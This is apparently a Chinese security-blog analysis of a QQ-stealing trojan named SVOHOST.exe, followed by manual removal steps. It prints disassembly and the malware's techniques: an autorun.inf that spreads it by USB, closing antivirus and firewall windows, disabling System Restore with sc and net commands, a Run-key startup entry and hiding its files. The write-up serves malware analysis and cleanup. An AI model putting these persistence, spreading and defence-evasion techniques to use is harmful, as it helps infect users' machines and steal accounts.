=======================================================================
别让MP3黑走你的QQ
--------- 对一个病毒形式的QQ木马分析
文/图 混世魔王 QQ:26836659
MSN: hsmw26836659@hotmail.com
BLOG: http://26836659.blogcn.com
为了提高电脑的那点响应速度,一直都很吝啬安装杂七杂八的软件,包括杀毒软件.最多也就一个月来一次.(小编汗!一个月来一次,什么啊?)汗?什么啊?一个月来一次系统重做啊.
这次系统重做后,居然发现可意进程。不会是中毒了吧。我就去了一下微软的UP Date升级补丁。虽然现在挂马的很多,但是也没有NB到微软的也挂上了吧.看了看IE,给插入了个winscok.dll,还弹出个视频聊天室的网站。得分析分析原因.
找到文件路径,DIR还不出来,只有DIR /A 看来是系统文件。
找到文件,复制不出来,设置显示系统文件也显示不出来。郁闷到安全模式下。
来个ATTRIB ?A ?R ?H ?S 把他的系统,隐藏等属性都给去了。在来DIR就可以看到我们的小马了。
用PEID查壳,是FSG2.0的壳,现在很多木马加这个壳。压缩效果也不错,我脱壳后程序34K变了144K.,压缩比例4倍。这是后话,本来打算手脱的,但是这个壳修复比较麻烦,本人对PE认识欠佳,于是谷哥求助。
RIF的牛人做了个专门的UnFSG,就是脱壳工具。只要把加壳的程序载入进去就可以轻松的脱壳,简直是秒杀。
程序脱出来后PEID依然是显示yoda's Protector v1.02 (.dll,.ocx) --> Ashkbiz Danehkar *,我还以为是壳中有壳。这个壳类似与仙剑的壳,本来打算OD载入手脱,载入后发现程序已经无壳了。是由Delph编写。
那我们就来分析分析这个病毒性质的小马吧。先看看他的一些运行原理和机制。
00408DF4 >/$ 55 PUSH EBP
00408DF5 |. 8BEC MOV EBP,ESP
00408DF7 |. B9 07000000 MOV ECX,7
00408DFC |> 6A 00 /PUSH 0
00408DFE |. 6A 00 |PUSH 0
00408E00 |. 49 |DEC ECX
00408E01 |.^ 75 F9 \JNZ SHORT SVOHOST.00408DFC
00408E03 |. 51 PUSH ECX
00408E04 |. 53 PUSH EBX
00408E05 |. 56 PUSH ESI
00408E06 |. B8 648D4000 MOV EAX,SVOHOST.00408D64
00408E0B |. E8 6CB4FFFF CALL SVOHOST.0040427C
00408E10 |. 33C0 XOR EAX,EAX
00408E12 |. 55 PUSH EBP
00408E13 |. 68 B2904000 PUSH SVOHOST.004090B2
00408E18 |. 64:FF30 PUSH DWORD PTR FS:[EAX]
00408E1B |. 64:8920 MOV DWORD PTR FS:[EAX],ESP
00408E1E |. 68 C0904000 PUSH SVOHOST.004090C0 ; /Title = "dqhx"
00408E23 |. 68 C0904000 PUSH SVOHOST.004090C0 ; |Class = "dqhx"
00408E28 |. E8 7BB6FFFF CALL <JMP.&user32.FindWindowA> ; \FindWindowA
00408E2D |. 85C0 TEST EAX,EAX //比较是否已经运行
00408E2F |. 74 36 JE SHORT SVOHOST.00408E67 //没有运行跳
程序的开头调用FindWindowA函数比较Title = "dqhx"来判断木马程序是否运行,如果TEST EAX,EAX相等折表示已运行。也就是你中木马了.
00408E31 |. 6A 00 PUSH 0 ; /lParam = 0
00408E33 |. 6A 00 PUSH 0 ; |wParam = 0
00408E35 |. 6A 10 PUSH 10 ; |Message = WM_CLOSE
00408E37 |. 68 C0904000 PUSH SVOHOST.004090C0 ; |/dqhx
00408E3C |. 68 C0904000 PUSH SVOHOST.004090C0 ; ||dqhx
00408E41 |. E8 62B6FFFF CALL <JMP.&user32.FindWindowA>
00408E46 |. 50 PUSH EAX ; |hWnd
00408E47 |. E8 BCB6FFFF CALL <JMP.&user32.SendMessageA>
SendMessage必须等待其他程序处理消息后才返回,继续执行
00408E4C |. 6A 00 PUSH 0 ; /lParam = 0
00408E4E |. 6A 01 PUSH 1 ; |wParam = 1
00408E50 |. 6A 12 PUSH 12 ; |Message = WM_QUIT
00408E52 |. 68 C0904000 PUSH SVOHOST.004090C0 ; |/dqhx
00408E57 |. 68 C0904000 PUSH SVOHOST.004090C0 ; ||dqhx
00408E5C |. E8 47B6FFFF CALL <JMP.&user32.FindWindowA>
00408E61 |. 50 PUSH EAX ; |hWnd = NULL
00408E62 |. E8 89B6FFFF CALL <JMP.&user32.PostMessageA>
PostMessage把消息放入队列,不管其他程序是否处理都返回,然后继续执行
00408E95 |. BA E4904000 MOV EDX,SVOHOST.004090E4 //文件名 ASCII "SVOHOST.exe"
00408E9A |. E8 89ADFFFF CALL SVOHOST.00403C28
00403C28 $ 85D2 TEST EDX,EDX
00403C2A . 74 3F JE SHORT SVOHOST.00403C6B
00408EA7 |. 50 PUSH EAX //我机器的程序路径 |FileName = "C:\windows\system32\SVOHOST.exe"
00408EA8 |. E8 A3B5FFFF CALL <JMP.&kernel32.SetFileAttributesA> ; \SetFileAttributesA 设置文件属性+A+H+R
00408EBD |. BA F8904000 MOV EDX,SVOHOST.004090F8 ; ASCII "winscok.dll"//插入
00408EAD |. 68 80000000 PUSH 80
00408EB2 |. 8D45 E8 LEA EAX,DWORD PTR SS:[EBP-18]
00408EB5 |. E8 DEC1FFFF CALL SVOHOST.00405098
00408EBA |. 8D45 E8 LEA EAX,DWORD PTR SS:[EBP-18]
00408EBD |. BA F8904000 MOV EDX,SVOHOST.004090F8 ; winscok.dll
00408EC2 |. E8 61ADFFFF CALL SVOHOST.00403C28
00408EC7 |. 8B45 E8 MOV EAX,DWORD PTR SS:[EBP-18]
00408ECA |. E8 49AFFFFF CALL SVOHOST.00403E18
00408ECF |. 50 PUSH EAX //EAX = "C:\windows\system32\winscok.dll"
00408ED0 |. E8 7BB5FFFF CALL <JMP.&kernel32.SetFileAttributesA> ; \SetFileAttributesA 设置文件属性+A+H+R
00408ED5 |. A1 1CA14000 MOV EAX,DWORD PTR DS:[40A11C]
00408EDA |. BA 04010000 MOV EDX,104
00408EDF |. E8 5CB0FFFF CALL SVOHOST.00403F40
00408EE4 |. 68 04010000 PUSH 104
00408EE9 |. A1 1CA14000 MOV EAX,DWORD PTR DS:[40A11C]
00408EEE |. 8B00 MOV EAX,DWORD PTR DS:[EAX]
00408EF0 |. E8 23AFFFFF CALL SVOHOST.00403E18
00408EF5 |. 50 PUSH EAX ; |PathBuffer //EAX 程序路径
00408EF6 |. A1 00B74000 MOV EAX,DWORD PTR DS:[40B700] ; |
00408EFB |. 50 PUSH EAX ; |hModule => 00400000 (SVOHOST)
00408EFC |. E8 FFB4FFFF CALL <JMP.&kernel32.GetModuleFileNameA>
/获取文件运行的路径我电脑是 "D:\Fuck You Too\SVOHOST.exe"
00408F01 |. 8BD0 MOV EDX,EAX
00408F03 |. A1 1CA14000 MOV EAX,DWORD PTR DS:[40A11C]
00408F08 |. E8 33B0FFFF CALL SVOHOST.00403F40
00408F0D |. 8D45 E4 LEA EAX,DWORD PTR SS:[EBP-1C]
00408F10 |. E8 83C1FFFF CALL SVOHOST.00405098
00408F15 |. 8D45 E4 LEA EAX,DWORD PTR SS:[EBP-1C]
00408F18 |. BA E4904000 MOV EDX,SVOHOST.004090E4 ; ASCII "SVOHOST.exe"
00408F1D |. E8 06ADFFFF CALL SVOHOST.00403C28
00408F22 |. 8B45 E4 MOV EAX,DWORD PTR SS:[EBP-1C]
00408F25 |. E8 EEAEFFFF CALL SVOHOST.00403E18
00408F2A |. 50 PUSH EAX ; /FileName
00408F2B |. E8 80B4FFFF CALL <JMP.&kernel32.DeleteFileA> ; \DeleteFileA //删除
00408F30 |. 6A 00 PUSH 0
00408F32 |. 8D45 E0 LEA EAX,DWORD PTR SS:[EBP-20]
00408F35 |. E8 5EC1FFFF CALL SVOHOST.00405098
00408F3A |. 8D45 E0 LEA EAX,DWORD PTR SS:[EBP-20]
00408F3D |. BA E4904000 MOV EDX,SVOHOST.004090E4 ; ASCII "SVOHOST.exe"
00408F42 |. E8 E1ACFFFF CALL SVOHOST.00403C28
00408F47 |. 8B45 E0 MOV EAX,DWORD PTR SS:[EBP-20]
00408F4A |. E8 C9AEFFFF CALL SVOHOST.00403E18
00408F4F |. 50 PUSH EAX
00408F50 |. A1 1CA14000 MOV EAX,DWORD PTR DS:[40A11C]
00408F55 |. 8B00 MOV EAX,DWORD PTR DS:[EAX]
00408F57 |. E8 BCAEFFFF CALL SVOHOST.00403E18
00408F5C |. 50 PUSH EAX ; |ExistingFileName
00408F5D |. E8 0EB4FFFF CALL <JMP.&kernel32.CopyFileA>
00408F62 |. 8D55 DC LEA EDX,DWORD PTR SS:[EBP-24]
00408F65 |. A1 1CA14000 MOV EAX,DWORD PTR DS:[40A11C]
00408F6A |. 8B00 MOV EAX,DWORD PTR DS:[EAX]
00408F6C |. E8 A3C0FFFF CALL SVOHOST.00405014
00408F71 |. 8B45 DC MOV EAX,DWORD PTR SS:[EBP-24]
00408F74 |. 50 PUSH EAX
00408F75 |. 8D45 D4 LEA EAX,DWORD PTR SS:[EBP-2C]
00408F78 |. E8 1BC1FFFF CALL SVOHOST.00405098
00408F7D |. 8D45 D4 LEA EAX,DWORD PTR SS:[EBP-2C]
00408F80 |. BA E4904000 MOV EDX,SVOHOST.004090E4 ; ASCII "SVOHOST.exe"
00408F85 |. E8 9EACFFFF CALL SVOHOST.00403C28
00408F8A |. 8B45 D4 MOV EAX,DWORD PTR SS:[EBP-2C]
00408F8D |. 8D55 D8 LEA EDX,DWORD PTR SS:[EBP-28]
00408F90 |. E8 7FC0FFFF CALL SVOHOST.00405014
//这里CALL 调用CharUpperBuffA,EAX的路径是"C:\windows\system32\SVOHOST.exe"了.
00408F95 |. 8B55 D8 MOV EDX,DWORD PTR SS:[EBP-28]
00408F98 |. 58 POP EAX
00408F99 |. E8 C6ADFFFF CALL SVOHOST.00403D64
00408F9E |. 74 44 JE SHORT SVOHOST.00408FE4
00408FA0 |. E8 13BDFFFF CALL SVOHOST.00404CB8
00408FA5 |. E8 BAD8FFFF CALL SVOHOST.00406864
00408FAA |. 6A 01 PUSH 1
00408FAC |. 6A 00 PUSH 0
00408FAE |. 6A 00 PUSH 0
00408FB0 |. 8D45 D0 LEA EAX,DWORD PTR SS:[EBP-30]
00408FB3 |. E8 E0C0FFFF CALL SVOHOST.00405098
00408FB8 |. 8D45 D0 LEA EAX,DWORD PTR SS:[EBP-30]
00408FBB |. BA E4904000 MOV EDX,SVOHOST.004090E4 ; ASCII "SVOHOST.exe"
00408FC0 |. E8 63ACFFFF CALL SVOHOST.00403C28
00408FC5 |. 8B45 D0 MOV EAX,DWORD PTR SS:[EBP-30]
00408FC8 |. E8 4BAEFFFF CALL SVOHOST.00403E18
00408FCD |. 50 PUSH EAX ; |FileName = "C:\windows\system32\SVOHOST.exe"
00408FCE |. 68 04914000 PUSH SVOHOST.00409104 ; |Operation = "open"
00408FD3 |. 6A 00 PUSH 0 ; |hWnd = NULL
00408FD5 |. E8 A6B6FFFF CALL SVOHOST.00404680
ShellExecuteA运行C:\windows\system32\SVOHOST.exe这个文件,和系统文件SVCHOST.EXE 就差一个字.但是运行里面是可以看的到的。
00408FDA |. E8 E9E0FFFF CALL SVOHOST.004070C8
00408FDF |. E9 B3000000 JMP SVOHOST.00409097
00409097 |> 33C0 XOR EAX,EAX //清除EAX的路径了
00405F9E |. 50 |PUSH EAX ; /RootPathName //磁盘容量
00405F9F |. E8 4CE4FFFF |CALL <JMP.&kernel32.GetDriveTypeA> ; \GetDriveTypeA //获取驱动盘
00405FA4 |. 83F8 02 |CMP EAX,2 //判断分区数
00405FA7 |. 0F85 50020000 |JNZ SVOHOST.004061FD
00405FAD |. 8D45 F0 |LEA EAX,DWORD PTR SS:[EBP-10]
00405FB0 |. B9 44624000 |MOV ECX,SVOHOST.00406244 // 生成 autorun.inf 文件
00405FB5 |. 8B55 FC |MOV EDX,DWORD PTR SS:[EBP-4]
00405FB8 |. E8 AFDCFFFF |CALL SVOHOST.00403C6C
00405FBD |. 8B45 F0 |MOV EAX,DWORD PTR SS:[EBP-10]
00405FC0 |. E8 E3ECFFFF |CALL SVOHOST.00404CA8
00405FC5 |. 3C 01 |CMP AL,1
00405FC7 |. 75 61 |JNZ SHORT SVOHOST.0040602A
00405FC9 |. 8D45 EC |LEA EAX,DWORD PTR SS:[EBP-14]
00405FCC |. B9 5C624000 |MOV ECX,SVOHOST.0040625C // 生成 sxs.exe文件
00405FD1 |. 8B55 FC |MOV EDX,DWORD PTR SS:[EBP-4]
00405FD4 |. E8 93DCFFFF |CALL SVOHOST.00403C6C
00405FD9 |. 8B45 EC |MOV EAX,DWORD PTR SS:[EBP-14]
00405FDC |. E8 C7ECFFFF |CALL SVOHOST.00404CA8
00405FE1 |. 3C 01 |CMP AL,1
00405FE3 |. 75 45 |JNZ SHORT SVOHOST.0040602A
在其他分区生成名为 autorun.inf 和sxs.exe二个同级文件.文件属性为+A +H +S
0040616F |. 8BC6 |MOV EAX,ESI
00406171 |. BA 84624000 |MOV EDX,SVOHOST.00406284
; open=sxs.exe
00406176 |. E8 29DEFFFF |CALL SVOHOST.00403FA4
0040617B |. E8 40D0FFFF |CALL SVOHOST.004031C0
00406180 |. E8 DBC3FFFF |CALL SVOHOST.00402560
00406185 |. 8BC6 |MOV EAX,ESI
00406187 |. BA 9C624000 |MOV EDX,SVOHOST.0040629C
; shellexecute=sxs.exe
0040618C |. E8 13DEFFFF |CALL SVOHOST.00403FA4
00406191 |. E8 2AD0FFFF |CALL SVOHOST.004031C0
00406196 |. E8 C5C3FFFF |CALL SVOHOST.00402560
0040619B |. 8BC6 |MOV EAX,ESI
0040619D |. BA BC624000 |MOV EDX,SVOHOST.004062BC ; shell\auto\command=sxs.exe
004061A2 |. E8 FDDDFFFF |CALL SVOHOST.00403FA4
004061A7 |. E8 14D0FFFF |CALL SVOHOST.004031C0
004061AC |. E8 AFC3FFFF |CALL SVOHOST.00402560
004061B1 |. 8BC6 |MOV EAX,ESI
004061B3 |. E8 F0C9FFFF |CALL SVOHOST.00402BA8
004061B8 |. E8 A3C3FFFF |CALL SVOHOST.00402560
004061BD |. 6A 06 |PUSH 6
004061BF |. 8D45 C4 |LEA EAX,DWORD PTR SS:[EBP-3C]
004061C2 |. B9 5C624000 |MOV ECX,SVOHOST.0040625C ; \sxs.exe
004061C7 |. 8B55 FC |MOV EDX,DWORD PTR SS:[EBP-4]
来看看autorun.inf的内容,为达到自运行的目的不折手段。
[AutoRun]
open=sxs.exe
shellexecute=sxs.exe
shell\Auto\command=sxs.exe
系统重做打开其他盘又感染了.郁闷,怎么现在病毒木马都这样!碰到几个了.
00406DBF |. B8 38704000 |MOV EAX,SVOHOST.00407038 ; qqkav
00406DC4 |. E8 2FD1FFFF |CALL SVOHOST.00403EF8
00406DC9 |. 85C0 |TEST EAX,EAX
00406DCB |. 74 0C |JE SHORT SVOHOST.00406DD9
00406DCD |. 6A 00 |PUSH 0 ; /lParam = 0
00406DCF |. 6A 00 |PUSH 0 ; |wParam = 0
00406DD1 |. 6A 12 |PUSH 12 ; |Message = WM_QUIT
00406DD3 |. 53 |PUSH EBX ; |hWnd
00406DD4 |. E8 17D7FFFF |CALL <JMP.&user32.PostMessageA> ; \PostMessageA
00406DD9 |> 85DB |TEST EBX,EBX
00406DDB |.^ 75 BA \JNZ SHORT SVOHOST.00406D97
00406DDD |. E8 DED6FFFF CALL <JMP.&user32.GetDesktopWindow> ; [GetDesktopWindow
00406DE2 |. 8BF0 MOV ESI,EAX
00406DE4 |> 6A 00 /PUSH 0 ; /Title = NULL
00406DE6 |. 6A 00 |PUSH 0 ; |Class = 0
00406DE8 |. 53 |PUSH EBX ; |hAfterWnd
00406DE9 |. 56 |PUSH ESI ; |hParent
00406DEA |. E8 C1D6FFFF |CALL <JMP.&user32.FindWindowExA> ; \FindWindowExA
00406DEF |. 8BD8 |MOV EBX,EAX
00406DF1 |. 6A 65 |PUSH 65 ; /Count = 65 (101.)
00406DF3 |. 57 |PUSH EDI ; |Buffer
00406DF4 |. 53 |PUSH EBX ; |hWnd
00406DF5 |. E8 D6D6FFFF |CALL <JMP.&user32.GetWindowTextA> ; \GetWindowTextA
00406DFA |. 8D45 90 |LEA EAX,DWORD PTR SS:[EBP-70]
00406DFD |. 8BD7 |MOV EDX,EDI
00406DFF |. B9 65000000 |MOV ECX,65
00406E04 |. E8 FFCDFFFF |CALL SVOHOST.00403C08
00406E09 |. 8B55 90 |MOV EDX,DWORD PTR SS:[EBP-70]
00406E0C |. B8 48704000 |MOV EAX,SVOHOST.00407048 ; 防火墙
00406E11 |. E8 E2D0FFFF |CALL SVOHOST.00403EF8
00406E16 |. 85C0 |TEST EAX,EAX
00406E18 |. 74 0C |JE SHORT SVOHOST.00406E26
00406E1A |. 6A 00 |PUSH 0 ; /lParam = 0
00406E1C |. 6A 00 |PUSH 0 ; |wParam = 0
00406E1E |. 6A 12 |PUSH 12 ; |Message = WM_QUIT
00406E20 |. 53 |PUSH EBX ; |hWnd
00406E21 |. E8 CAD6FFFF |CALL <JMP.&user32.PostMessageA> ; \PostMessageA
00406E26 |> 85DB |TEST EBX,EBX
00406E28 |.^ 75 BA \JNZ SHORT SVOHOST.00406DE4
00406E2A |. E8 91D6FFFF CALL <JMP.&user32.GetDesktopWindow> ; [GetDesktopWindow
00406E2F |. 8BF0 MOV ESI,EAX
00406E31 |> 6A 00 /PUSH 0 ; /Title = NULL
00406E33 |. 6A 00 |PUSH 0 ; |Class = 0
00406E35 |. 53 |PUSH EBX ; |hAfterWnd
00406E36 |. 56 |PUSH ESI ; |hParent
00406E37 |. E8 74D6FFFF |CALL <JMP.&user32.FindWindowExA>
00406E3C |. 8BD8 |MOV EBX,EAX
00406E3E |. 6A 65 |PUSH 65 ; /Count = 65 (101.)
00406E40 |. 57 |PUSH EDI ; |Buffer
00406E41 |. 53 |PUSH EBX ; |hWnd
00406E42 |. E8 89D6FFFF |CALL <JMP.&user32.GetWindowTextA>
00406E47 |. 8D45 8C |LEA EAX,DWORD PTR SS:[EBP-74]
00406E4A |. 8BD7 |MOV EDX,EDI
00406E4C |. B9 65000000 |MOV ECX,65
00406E51 |. E8 B2CDFFFF |CALL SVOHOST.00403C08
00406E56 |. 8B55 8C |MOV EDX,DWORD PTR SS:[EBP-74]
00406E59 |. B8 58704000 |MOV EAX,SVOHOST.00407058 ; 网镖
00406E5E |. E8 95D0FFFF |CALL SVOHOST.00403EF8
00406E63 |. 85C0 |TEST EAX,EAX
00406E65 |. 74 0C |JE SHORT SVOHOST.00406E73
......略一段
从00406D82 到 00407004 通过FindWindowExA函数寻找的窗口句柄,关闭窗口名为下列的应用程序QQKav.防火墙.网镖.杀毒.病毒.木马.恶意.QQAV.噬菌体.这些保护程序.
0040711F . A1 F4A04000 MOV EAX,DWORD PTR DS:[40A0F4]
00407124 . 8B00 MOV EAX,DWORD PTR DS:[EAX]
00407126 . E8 C5DBFFFF CALL SVOHOST.00404CF0
0040712B . 69C0 E8030000 IMUL EAX,EAX,3E8
00407131 . 50 PUSH EAX ; /Timeout
00407132 . E8 29D3FFFF CALL <JMP.&kernel32.Sleep> ; \Sleep
00407137 . B8 68714000 MOV EAX,SVOHOST.00407168 ; qq.exe
0040713C . E8 53D9FFFF CALL SVOHOST.00404A94
我们可怜的QQ也在其中,在设置的时间内会关闭QQ.还好,我用的是QQ他妈TM.
00407291 |. 68 287A4000 PUSH SVOHOST.00407A28
//生成一个noruns.reg文件,看样子要写注册表了
00407296 |. 8D45 F4 LEA EAX,DWORD PTR SS:[EBP-C]
00407299 |. BA 03000000 MOV EDX,3
0040729E |. E8 3DCAFFFF CALL SVOHOST.00403CE0
004072A3 |. 8B45 F4 MOV EAX,DWORD PTR SS:[EBP-C]
004072A6 |. E8 6DCBFFFF CALL SVOHOST.00403E18
004072AB |. 50 PUSH EAX ; |Parameters
004072AC |. 68 D87A4000 PUSH SVOHOST.00407AD8 ; |regedit.exeopen
004072B1 |. 68 E47A4000 PUSH SVOHOST.00407AE4 ; |open
004072B6 |. 6A 00 PUSH 0 ; |hWnd = NULL
004072B8 |. E8 C3D3FFFF CALL SVOHOST.00404680 ; \ShellExecuteA
004072BD |. 6A 00 PUSH 0 ; /IsShown = 0
004072BF |. 6A 00 PUSH 0 ; |DefDir = NULL
004072C1 |. 68 EC7A4000 PUSH SVOHOST.00407AEC ; |stop srservice
004072C6 |. 68 FC7A4000 PUSH SVOHOST.00407AFC ; |net.execonfig srservice start= disabled
004072CB |. 68 E47A4000 PUSH SVOHOST.00407AE4 ; |open
004072D0 |. 6A 00 PUSH 0 ; |hWnd = NULL
004072D2 |. E8 A9D3FFFF CALL SVOHOST.00404680 ; \ShellExecuteA
004072D7 |. 6A 00 PUSH 0 ; /IsShown = 0
004072D9 |. 6A 00 PUSH 0 ; |DefDir = NULL
004072DB |. 68 047B4000 PUSH SVOHOST.00407B04
; |config srservice start= disabled
004072E0 |. 68 287B4000 PUSH SVOHOST.00407B28 ; |sc.exe
004072E5 |. 68 E47A4000 PUSH SVOHOST.00407AE4 ; |open
004072EA |. 6A 00 PUSH 0 ; |hWnd = NULL
004072EC |. E8 8FD3FFFF CALL SVOHOST.00404680 ; \ShellExecuteA
......略一段
00407689 |. 68 9C7E4000 PUSH SVOHOST.00407E9C ; /Title = "瑞星提示"
0040768E |. 68 A87E4000 PUSH SVOHOST.00407EA8 ; |Class = "#32770"
00407693 |. E8 10CEFFFF CALL <JMP.&user32.FindWindowA> ; \FindWindowA
00407698 |. 68 B07E4000 PUSH SVOHOST.00407EB0 ; /Title = "是(&Y)"
0040769D |. 68 B87E4000 PUSH SVOHOST.00407EB8 ; |Class = "Button"
004076A2 |. 6A 00 PUSH 0 ; |hAfterWnd = NULL
004076A4 |. 50 PUSH EAX ; |hParent
004076A5 |. E8 06CEFFFF CALL <JMP.&user32.FindWindowExA> ; \FindWindowExA
......略一段
从00407291 到00407893 这样长的一断代码,都是杀毒,防火墙,做斗争,我就不清楚这些系统命令Sc.EXE Net.exe net1.exe也加入到这个木马封杀的行列.
004078FB |. 6A 01 PUSH 1
004078FD |. B9 9C824000 MOV ECX,SVOHOST.0040829C ; ASCII "SoundMam"
00407902 |. BA A8824000 MOV EDX,SVOHOST.004082A8 //添加启动项
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
"SoundMam" = "%system%\SVOHOST.exe"
00407907 |. B8 02000080 MOV EAX,80000002
0040790C |. E8 0BD8FFFF CALL SVOHOST.0040511C
00407911 |. 68 D8824000 PUSH SVOHOST.004082D8
00407916 |. 6A 01 PUSH 1
00407918 |. B9 DC824000 MOV ECX,SVOHOST.004082DC ; ASCII "CheckedValue"
0040791D |. BA EC824000 MOV EDX,SVOHOST.004082EC ; ASCII "software\microsoft\windows\currentversion\explorer\advanced\folder\hidden\showall"
//隐藏的系统文件
00407922 |. B8 02000080 MOV EAX,80000002
00407927 |. E8 F0D7FFFF CALL SVOHOST.0040511C
0040792C |. 8D45 E0 LEA EAX,DWORD PTR SS:[EBP-20]
0040792F |. E8 64D7FFFF CALL SVOHOST.00405098
00407934 |. 8D45 E0 LEA EAX,DWORD PTR SS:[EBP-20]
木马的主程序的大体功能和运行机制就分析到这里,还有一个插入到IE进程的winscok.dll文件,我这里就跳过了。无非就是刷流量。
<HTML><HEAD><TITLE>.</TITLE>
<meta http-equiv="refresh" content="1; url=http://www.xxxx.net"> ‘地址用xxx代替了
</HEAD><BODY>
<script src='http://s47.cnzz.com/stat.php?id=223697&web_id=223697' language='JavaScript' charset='gb2312'></script> ’站长站的流量统计
</BODY></HTML>
不过这马还有盗QQ,哎。什么世道啊。
分析过程就不做总结了。想必你一路看完下来也理解了。我们直接给出手工解决的办法,多动手,多学习。让你遇到这个木马不会那么头疼。毕竟做了系统,不小心又是会感染的。
一步:进入安全模式。我们先来显示出被隐藏的系统文件的regedit
HKEY_LOCAL_MACHINE\Software\Microsoft\windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL,
将CheckedValue键值修改为1
这里要注意,病毒会把本来有效的DWORD值CheckedValue删除掉,新建了一个无效的字符串值CheckedValue,类型为REG_SZ,并且把键值改为0!我们将这个改为1是毫无作用的。没有看清楚CheckedValue后面的类型,正确的是“RED_DWORD”而不是“REG_SZ”。
二步:然后在来解决注册启动项。
HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows>CurrentVersion>Run
SVOHOST.exe
三步:Ctrl + Alt + Del 任务管理器,在进程中查找 SVOHOST(不是SVCHOST,相差一个字母),有的话就将它结束掉(并不是所有的系统都显示有这个进程,没有的就略过此步)。
四步:删除系统目录的二个文件SVOHOST.exe和winscok.dll文件。我们可以在命令执行
DEL C:\windows\system32\SVOHOST.exe /S
DEL C:\windows\system32\winscok.dll /S
如果查找不到文件,记得把他的系统属性去掉。
五步:解决其他盘的遗留问题,我这里已经D盘为例,其他分区同样超做。CMD执行命令
attrib -h -r -s d:\sxs.exe
del d:\sxs.exe
attrib -h -s -r d:\autorun.inf
del d:\autorun.inf
解决完小马,我们来追查源头!如果访问其他分区目录,木马就会感染你的系统和其他分区,不是通过局域网,这种情况的传播途径就只有USB,不知道大家注意没有,使用U盘或者MP3,是直接运行.那!我们的小马就开始他的传播了…..
MM:怪不的我的MP3会提示有毒……….
(完)
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)